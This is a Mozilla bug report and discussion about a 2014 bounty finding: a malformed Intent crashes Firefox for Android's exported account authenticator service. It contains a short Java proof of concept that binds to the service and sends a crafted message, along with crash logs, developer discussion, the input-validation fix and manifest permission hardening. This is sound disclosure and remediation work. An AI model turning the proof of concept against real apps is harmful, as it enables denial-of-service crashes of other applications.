1036459 - NullPointerException when processing malformed authenticator intent

Status: RESOLVED FIXED

(Firefox for Android Graveyard :: Android Sync, defect)

Description

[Kevin Brosnan [Ex-Mozilla]]

From: Claudiu Chelaru <[e-mail]>
Subject: Security Bug Bounty: 103 ways to crash Firefox for Android
Message-Id: <[e-mail]>
Date: Sat, 5 Jul 2014 14:04:15 +0300
To: [e-mail]
-----//-----
Hi,

During my research I’ve found some issues regarding Firefox for Android - (org.mozilla.firefox) via cross application exploitation. Upon receiving malformed data the app will crash with the following message: “Unfortunately, Firefox has stopped.” Tested on Samsung Galaxy S3 - Android 4.3 API 18.


3) Services
Firefox crashes if a random message is sent to "org.mozilla.gecko.fxa.authenticator.FxAccountAuthenticatorService".

- The logcat log contains the following messages to confirming that the application has crashed:
* "E/AndroidRuntime( 3217): FATAL EXCEPTION: main"
* "E/AndroidRuntime( 3217): java.lang.RuntimeException: Unable to bind to service org.mozilla.gecko.fxa.authenticator.FxAccountAuthenticatorService@5274670c with Intent { cmp=org.mozilla.firefox/org.mozilla.gecko.fxa.authenticator.FxAccountAuthenticatorService }: java.lang.NullPointerException"

- Proof of Concept:
Intent service = new Intent();
service.setComponent(new ComponentName("org.mozilla.firefox", "org.mozilla.gecko.fxa.authenticator.FxAccountAuthenticatorService"));
v.getContext().bindService(service, new ServiceConnection() {
   @Override
   public void onServiceConnected(ComponentName name, IBinder service) {
       Messenger messenger = new Messenger(service);
       try {
       messenger.send(Message.obtain(null, 1, 2, 3));
       } catch (RemoteException e) { }								
   }												
} , Context.BIND_AUTO_CREATE);


Kind Regards,
Claudiu Chelaru

Comment 1

[Nick Alexander :nalexander [he/him]]

Thanks for the report.  I wonder if we can (and are not) setting these service points to be package private, to forego some onerous input validation.

Do others agree that this is a DOS attack rather than a privacy/security breach?  There are a million ways for a malicious App to DOS another App (and/or the system): for Fennec, you can just ask us to launch intents until we OOM, for example.

Comment 2

[Kevin Brosnan [Ex-Mozilla]]

Setting sec-bounty just to be clear this was reported as part of bug 1036437 but was broken out as Android Services is a different product.

Comment 5

[Richard Newman [:rnewman]]

(In reply to Nick Alexander :nalexander from comment #1)
> Thanks for the report.  I wonder if we can (and are not) setting these
> service points to be package private, to forego some onerous input
> validation.

This particular service is actually exported:

        <service
            android:exported="true"
            android:name="org.mozilla.gecko.fxa.authenticator.FxAccountAuthenticatorService" >
            <intent-filter >
                <action android:name="android.accounts.AccountAuthenticator" />
            </intent-filter>

            <meta-data
                android:name="android.accounts.AccountAuthenticator"
                android:resource="@xml/fxaccount_authenticator" />
        </service>

Prevailing wisdom suggests that authenticator services need to be exported, and they are exported by default by virtue of having the required intent-filter.

Comment 6

[Richard Newman [:rnewman]]

Attachment: Input checking. v1

Concur with Nick that this is a DoS, not a privacy/sec bug per se.

This fix will reject malformed intents. Need further analysis to figure out if we can un-export this service.

Comment 7

[Nick Alexander :nalexander [he/him]]

Comment on attachment 8453248 [details] [review]
Input checking. v1

lgtm.  I think we'll need a further audit, although you've been doing a good job adding null intent checking throughout.

Comment 8

[Richard Newman [:rnewman]]

https://hg.mozilla.org/integration/fx-team/rev/81ba79c9c36e

Comment 9

[u511325]

Generally, exported services should be protected with strong permissions, where access is granted only for requesting applications signed with the same certificate as the application that declared the permission (android:protectionLevel="signature").
    <permission
        android:name="com.firefox.android.permission.PROTECTED_SERVICE"
        android:protectionLevel="signature" >
    </permission>
    <uses-permission android:name="com.firefox.android.permission.PROTECTED_SERVICE" />
   
    <application>
        <service 
            android:exported="true"
            android:name="org.mozilla.gecko.fxa.authenticator.FxAccountAuthenticatorService" 
            android:permission="com.firefox.android.permission.PROTECTED_SERVICE" >
            <intent-filter >
                <action android:name="android.accounts.AccountAuthenticator" />
            </intent-filter>

            <meta-data
                android:name="android.accounts.AccountAuthenticator"
                android:resource="@xml/fxaccount_authenticator" />
        </service>
    </application>

Comment 10

[Daniel Veditz [:dveditz]]

Richard: can we do the signature required? Or are we intentionally allowing non-Mozilla-signed apps to use FxA in the future?

Comment 11

[Nick Alexander :nalexander [he/him]]

(In reply to Daniel Veditz [:dveditz] from comment #10)
> Richard: can we do the signature required? Or are we intentionally allowing
> non-Mozilla-signed apps to use FxA in the future?

No, we'll probably never allow non-Mozilla-signed apps to use FxA in the future.

In general we can do signature level permissions, but see the final lines of https://bugzilla.mozilla.org/show_bug.cgi?id=1036459#c5:

"Prevailing wisdom suggests that authenticator services need to be exported, and they are exported by default by virtue of having the required intent-filter."

This thing is instantiated by Android itself; if we can prove that Android ignores signature-level permissions, I'm fine with this for the FxA authenticator.  Oh, and the Sync authenticator, actually: although it is used cross-app, both apps are signed with the same Mozilla signature.

Comment 12

[Richard Newman [:rnewman]]

Merged:

https://hg.mozilla.org/mozilla-central/rev/81ba79c9c36e

I'll file a follow-up to see if applying protectionLevel=signature to this service makes sense; this fix alone mitigates any annoyance that a malicious app could cause.

I've never seen it done (and I've poked around the manifests for a fair few apps!), but we can test it out.

Comment 13

[Matt Wobensmith [:mwobensmith][:matt:]]

Marking [qe-verify-] due to effort involved to reproduce and verify. If anyone has an example using a malformed intent that we'd use for testing, feel free to send along and we'd be happy to try.